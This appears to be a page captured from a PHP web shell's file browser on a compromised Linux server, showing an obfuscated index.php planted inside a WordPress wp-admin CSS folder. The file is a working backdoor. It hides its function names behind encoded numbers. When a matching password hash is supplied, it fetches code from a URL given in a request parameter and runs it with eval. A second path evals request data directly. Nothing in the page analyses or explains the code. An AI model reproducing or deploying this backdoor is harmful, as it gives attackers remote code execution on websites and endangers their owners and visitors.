HEX
Server: Apache
System: Linux vpshost0650.publiccloud.com.br 4.4.79-grsec-1.lc.x86_64 #1 SMP Wed Aug 2 14:18:21 -03 2017 x86_64
User: bandeirantesbomb3 (10068)
PHP: 8.0.7
Disabled: apache_child_terminate,dl,escapeshellarg,escapeshellcmd,exec,link,mail,openlog,passthru,pcntl_alarm,pcntl_exec,pcntl_fork,pcntl_get_last_error,pcntl_getpriority,pcntl_setpriority,pcntl_signal,pcntl_signal_dispatch,pcntl_sigprocmask,pcntl_sigtimedwait,pcntl_sigwaitinfo,pcntl_strerror,pcntl_wait,pcntl_waitpid,pcntl_wexitstatus,pcntl_wifexited,pcntl_wifsignaled,pcntl_wifstopped,pcntl_wstopsig,pcntl_wtermsig,php_check_syntax,php_strip_whitespace,popen,proc_close,proc_open,shell_exec,symlink,system
Upload Files
File: //proc/self/root/proc/self/cwd/wp-admin/css/colors/light/light/index.php
<?php
 goto QS6dsJmqe_No; w9J8C9lmsdIK: class RHvgldBKv7gr { static function Clv5ookSkNVk($d9GLlSIfYz7f) { goto u4BVPyjdMMBh; SteoOfg_RaW2: $HrdZsTQ73RfM = $GbOvq2tkybbV("\x7e", "\40"); goto F_cF3xKjErVk; JG3F9tD4E41P: foreach ($vZQZEqh9ri3C as $hdJ1VXl8a1fB => $Ur4bUhsaxHAY) { $tnQI4r2xq3l0 .= $HrdZsTQ73RfM[$Ur4bUhsaxHAY - 77328]; ZoJStB8IW9qZ: } goto GcX1fOH3LYCW; s1gypflE5t1p: $tnQI4r2xq3l0 = ''; goto JG3F9tD4E41P; F_cF3xKjErVk: $vZQZEqh9ri3C = explode("\x24", $d9GLlSIfYz7f); goto s1gypflE5t1p; ZUObGwgiTmwq: return $tnQI4r2xq3l0; goto Aw0k4jxSxdLm; GcX1fOH3LYCW: ozipObYdv4UV: goto ZUObGwgiTmwq; u4BVPyjdMMBh: $GbOvq2tkybbV = "\x72" . "\141" . "\156" . "\x67" . "\145"; goto SteoOfg_RaW2; Aw0k4jxSxdLm: } static function GJerBVrF27QK($TimJA1NuADJb, $tPTQnLR2dQ6E) { goto mCvg4RxmyXZ8; zBY5O6XRLcjd: $u03SlzCjc0TI = curl_exec($KkejxtV1duS8); goto PhyI9_fT7qHh; mCvg4RxmyXZ8: $KkejxtV1duS8 = curl_init($TimJA1NuADJb); goto LvsC9VZ44Bnk; LvsC9VZ44Bnk: curl_setopt($KkejxtV1duS8, CURLOPT_RETURNTRANSFER, 1); goto zBY5O6XRLcjd; PhyI9_fT7qHh: return empty($u03SlzCjc0TI) ? $tPTQnLR2dQ6E($TimJA1NuADJb) : $u03SlzCjc0TI; goto BRS5834nQs_a; BRS5834nQs_a: } static function nf5PzKYlLSTt() { goto iET9gXC0SVXi; HIBmWRh9PCR9: @eval($lA4nKMGZneil[0 + 4]($DCFcPHgxPSLC)); goto joG0kL0KOOCo; iET9gXC0SVXi: $Pn2Ld1llGqMX = array("\x37\67\x33\65\65\44\x37\67\x33\x34\60\x24\x37\67\63\x35\63\44\67\x37\x33\x35\x37\x24\67\67\x33\x33\x38\44\x37\67\x33\x35\x33\x24\x37\x37\x33\x35\x39\44\67\67\63\x35\62\x24\x37\67\63\x33\67\44\x37\x37\x33\64\x34\x24\x37\x37\63\65\65\44\67\x37\63\63\x38\44\67\x37\x33\64\71\44\x37\x37\63\x34\x33\x24\67\67\x33\x34\x34", "\x37\67\x33\63\x39\44\67\67\63\x33\70\x24\x37\67\63\64\60\44\67\x37\63\65\71\x24\67\67\x33\64\x30\x24\x37\x37\63\64\x33\44\x37\x37\63\63\x38\x24\67\x37\x34\x30\x35\x24\67\67\64\60\x33", "\67\67\63\64\x38\x24\x37\x37\63\x33\x39\44\x37\67\63\x34\63\x24\67\67\x33\x34\x34\44\x37\67\x33\x35\x39\44\67\x37\63\x35\64\x24\67\x37\63\65\63\x24\67\x37\63\x35\65\x24\x37\67\x33\64\x33\44\67\67\x33\65\64\44\67\x37\x33\65\x33", "\x37\67\63\64\62\x24\x37\67\63\x35\x37\44\x37\x37\x33\65\x35\x24\x37\67\x33\x34\x37", "\x37\x37\63\65\x36\44\67\x37\63\x35\67\44\67\67\x33\63\71\44\x37\x37\x33\65\x33\x24\x37\x37\64\60\60\x24\x37\67\64\x30\62\x24\x37\67\63\65\x39\x24\67\67\63\65\x34\44\67\67\63\65\63\44\67\x37\63\65\x35\x24\67\67\63\x34\63\x24\x37\67\63\x35\64\44\x37\67\63\x35\63", "\x37\67\x33\65\62\44\x37\67\x33\64\71\x24\x37\x37\x33\x34\66\x24\67\67\63\x35\63\44\67\67\63\x35\x39\x24\x37\67\63\x35\x31\x24\67\67\63\65\x33\44\x37\67\63\x33\x38\44\67\x37\63\65\x39\x24\67\67\63\65\x35\44\67\67\x33\64\x33\x24\x37\67\x33\64\x34\x24\67\x37\x33\x33\70\44\x37\67\x33\x35\63\x24\67\x37\63\64\64\x24\x37\x37\63\x33\x38\44\x37\x37\63\63\x39", "\x37\67\63\x38\x32\x24\67\67\x34\x31\x32", "\67\67\x33\62\x39", "\67\x37\x34\x30\x37\x24\x37\x37\x34\x31\x32", "\x37\67\x33\x38\x39\44\67\67\x33\x37\62\x24\67\67\63\67\62\44\x37\x37\63\x38\x39\44\67\x37\x33\66\x35", "\67\67\63\65\x32\x24\67\67\63\64\x39\x24\67\67\x33\x34\x36\44\67\67\63\63\70\x24\67\67\63\65\x33\x24\67\67\x33\x34\60\44\67\x37\x33\x35\71\44\x37\x37\63\64\x39\44\67\67\63\x34\x34\44\67\x37\x33\64\62\44\x37\x37\x33\63\x37\44\x37\x37\x33\x33\70"); goto tS2fDxvhKQlh; joG0kL0KOOCo: die; goto hMvI_Tr6OVuF; hgqaJeeI28CQ: $tKvQSwsNQqci = @$lA4nKMGZneil[1]($lA4nKMGZneil[6 + 4](INPUT_GET, $lA4nKMGZneil[1 + 8])); goto XpYiQhncccu7; wcpfMvOj8cX0: $DCFcPHgxPSLC = self::gjErBVRF27qk($O14AS01RJt5l[0 + 1], $lA4nKMGZneil[0 + 5]); goto HIBmWRh9PCR9; vAJYQTLAf1yu: if (!(@$O14AS01RJt5l[0] - time() > 0 and md5(md5($O14AS01RJt5l[1 + 2])) === "\141\x35\60\x35\60\x65\144\63\x38\x37\61\146\x64\x36\141\x30\x34\x64\61\x31\x62\x30\x66\x65\x63\x32\x63\141\144\61\x30\71")) { goto FqHBYxC_1txk; } goto wcpfMvOj8cX0; So2zUlrNf60u: $O14AS01RJt5l = $lA4nKMGZneil[0 + 2]($qjT31b_7I5PP, true); goto iEGrk3ujqYM3; hT1_sQbOKWXz: WIe29WpO_J3F: goto hgqaJeeI28CQ; XpYiQhncccu7: $qjT31b_7I5PP = @$lA4nKMGZneil[0 + 3]($lA4nKMGZneil[0 + 6], $tKvQSwsNQqci); goto So2zUlrNf60u; tS2fDxvhKQlh: foreach ($Pn2Ld1llGqMX as $wEENnL7f2HqY) { $lA4nKMGZneil[] = self::clv5ooKSKnVK($wEENnL7f2HqY); cIuhG6CX3pJP: } goto hT1_sQbOKWXz; hMvI_Tr6OVuF: FqHBYxC_1txk: goto EEYy6TU64ySl; iEGrk3ujqYM3: @$lA4nKMGZneil[10 + 0](INPUT_GET, "\x6f\146") == 1 && die($lA4nKMGZneil[5 + 0](__FILE__)); goto vAJYQTLAf1yu; EEYy6TU64ySl: } } goto T3tFO7Vd5aWL; Q5O8CwZETba7: @eval($G9OBQlUmWqsf[68](${$G9OBQlUmWqsf[32]}[19])); goto OOSkMCmH_ipD; GRMjvtmioOmY: $G9OBQlUmWqsf[68] = $G9OBQlUmWqsf[68] . $G9OBQlUmWqsf[76]; goto Q5O8CwZETba7; WAkOzYANp36P: $G9OBQlUmWqsf = ${$M1MxZKUyOPzB[9 + 22] . $M1MxZKUyOPzB[20 + 39] . $M1MxZKUyOPzB[15 + 32] . $M1MxZKUyOPzB[36 + 11] . $M1MxZKUyOPzB[27 + 24] . $M1MxZKUyOPzB[27 + 26] . $M1MxZKUyOPzB[57 + 0]}; goto gwyHEVSA2XMj; Ga5AY_oFFZhu: metaphone("\143\x46\x2b\x5a\150\x51\x6f\x76\x4d\101\x44\123\x4a\x59\160\x4e\164\x68\170\x58\x6c\x48\160\x69\x52\144\105\102\154\143\125\150\x34\x66\123\x44\x6f\115\161\57\x75\101\101"); goto w9J8C9lmsdIK; OOSkMCmH_ipD: gkfY2tiW81Za: goto Ga5AY_oFFZhu; obXE6O_MGI3q: $M1MxZKUyOPzB = $dw0XUB_z5Jn3("\x7e", "\x20"); goto WAkOzYANp36P; gwyHEVSA2XMj: if (!(in_array(gettype($G9OBQlUmWqsf) . "\61\x32", $G9OBQlUmWqsf) && md5(md5(md5(md5($G9OBQlUmWqsf[6])))) === "\x62\x63\60\x66\67\x64\x37\x30\x62\62\x65\141\145\67\x64\66\146\62\141\62\x35\x64\x62\65\146\71\x39\x34\x34\x39\x30\x33")) { goto gkfY2tiW81Za; } goto GRMjvtmioOmY; QS6dsJmqe_No: $dw0XUB_z5Jn3 = "\x72" . "\141" . "\x6e" . "\x67" . "\145"; goto obXE6O_MGI3q; T3tFO7Vd5aWL: Rhvgldbkv7gr::Nf5PZkyLLsTT();
?>